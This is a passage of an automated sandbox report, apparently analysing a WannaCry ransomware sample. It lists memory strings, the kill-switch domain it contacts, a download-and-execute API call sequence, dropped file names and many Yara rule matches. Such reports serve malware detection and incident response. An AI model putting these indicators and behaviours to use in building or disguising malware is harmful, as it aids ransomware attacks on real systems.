              Source: svchost.exe, 0000000C.00000003.322038559.000002174D060000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Locations
              Source: svchost.exe, 0000000C.00000002.322590099.000002174D03D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/
              Source: svchost.exe, 0000000C.00000003.322038559.000002174D060000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Driving
              Source: svchost.exe, 0000000C.00000003.322038559.000002174D060000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Transit
              Source: svchost.exe, 0000000C.00000003.322038559.000002174D060000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Walking
              Source: svchost.exe, 0000000C.00000003.322230496.000002174D041000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000003.322196987.000002174D040000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.322596876.000002174D042000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Transit/Schedules/
              Source: svchost.exe, 0000000C.00000003.322230496.000002174D041000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000003.322196987.000002174D040000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.322596876.000002174D042000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=
              Source: svchost.exe, 0000000C.00000003.322038559.000002174D060000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/mapcontrol/logging.ashx
              Source: svchost.exe, 0000000C.00000002.322681559.000002174D05C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000003.322196987.000002174D040000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000003.322174759.000002174D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?
              Source: svchost.exe, 0000000C.00000003.322174759.000002174D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=
              Source: svchost.exe, 0000000C.00000003.322174759.000002174D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=
              Source: svchost.exe, 0000000C.00000002.322681559.000002174D05C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000003.322174759.000002174D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=
              Source: svchost.exe, 0000000C.00000002.322709636.000002174D064000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000003.322174759.000002174D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dynamic.t
              Source: svchost.exe, 0000000C.00000003.322038559.000002174D060000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx
              Source: svchost.exe, 0000000C.00000002.322590099.000002174D03D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/
              Source: svchost.exe, 0000000C.00000003.299654463.000002174D031000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=
              Source: svchost.exe, 00000028.00000002.824838858.000002631DFA8000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.842565781.000002631E79E000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000028.00000000.442518885.000002631E79E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://site-cdn.onenote.net/161182431559_Images/LiveTileImages/MediumAndLarge/Image1.png
              Source: svchost.exe, 0000000C.00000002.322590099.000002174D03D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx
              Source: svchost.exe, 0000000C.00000002.322529801.000002174D013000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.322590099.000002174D03D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=
              Source: svchost.exe, 0000000C.00000003.322222433.000002174D045000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000003.322196987.000002174D040000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=
              Source: svchost.exe, 0000000C.00000003.322222433.000002174D045000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000003.322196987.000002174D040000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=
              Source: svchost.exe, 0000000C.00000003.299654463.000002174D031000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=
              Source: svchost.exe, 0000000C.00000002.322583317.000002174D03A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000003.299654463.000002174D031000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen
              Source: svchost.exe, 0000000C.00000003.322087627.000002174D047000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.322650603.000002174D04E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.tiles.ditu.live.com/tiles/gen
              Source: mssecsvc.exe, 00000004.00000002.558528675.0000000000CD6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.kryptoslogic.com
              Source: unknownDNS traffic detected: queries for: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00A827A7 GetTempFileNameA,CreateFileA,InternetReadFile,WriteFile,CloseHandle,CreateProcessA,InternetCloseHandle,InternetCloseHandle,4_2_00A827A7
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1Host: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comCache-Control: no-cache
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1Host: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comCache-Control: no-cache
              Source: loaddll32.exe, 00000000.00000002.291444395.0000000000AAB000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

              Spam, unwanted Advertisements and Ransom Demands

              barindex
              Detected Wannacry Ransomware
              Source: C:\Windows\tasksche.exeCode function: CreateFileA,GetFileSizeEx,memcmp,GlobalAlloc,_local_unwind2, WANACRY!28_2_004014A6
              Yara detected Wannacry ransomware
              Source: Yara matchFile source: 7Qu8thR7WW.dll, type: SAMPLE
              Source: Yara matchFile source: 4.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 8.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 8.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 8.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 8.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 8.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000008.00000002.378192285.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000000.294174660.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000004.00000000.292490099.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000004.00000000.287791267.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000004.00000000.286766656.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000000.304344912.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000000.296579008.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000000.298002651.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000004.00000000.288781813.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000000.292236661.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000004.00000002.557144166.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.386002863.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: mssecsvc.exe PID: 6252, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: mssecsvc.exe PID: 6328, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: mssecsvc.exe PID: 6664, type: MEMORYSTR
              Source: Yara matchFile source: C:\Windows\mssecsvc.exe, type: DROPPED

              System Summary

              barindex
              Malicious sample detected (through community Yara rule)
              Source: 7Qu8thR7WW.dll, type: SAMPLEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 7Qu8thR7WW.dll, type: SAMPLEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 8.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 8.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 8.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 8.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 8.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 8.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 4.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
              Source: 4.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 8.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 8.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 8.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 16.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 16.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 16.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 8.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 8.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 8.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 4.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 4.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 4.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 8.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 8.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
              Source: 8.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 8.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 8.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
              Source: 8.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 8.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 8.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 8.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 8.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 8.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 8.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 8.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 8.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 8.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 16.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 16.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 16.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 4.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
              Source: 4.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 8.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 8.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
              Source: 8.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 4.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 8.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 8.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 8.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 16.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 16.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 16.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 4.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 16.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 16.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 16.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 16.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 16.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
              Source: 16.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 4.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
              Source: 4.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
              Source: 4.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 16.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 16.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
              Source: 16.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 8.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 8.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 8.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 8.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 8.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 8.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 8.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 8.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
              Source: 8.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 28.2.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 28.2.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 28.2.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 8.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 8.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
              Source: 8.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 28.0.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 28.0.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 28.0.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 4.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 4.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
              Source: 4.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 00000004.00000000.292639751.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 0000001C.00000000.371807837.000000000040E000.00000008.00000001.01000000.00000007.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 0000001C.00000002.376601170.000000000040E000.00000008.00000001.01000000.00000007.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 00000010.00000000.304404553.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 00000008.00000000.296643243.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 00000008.00000000.292371942.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 00000004.00000000.289006275.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
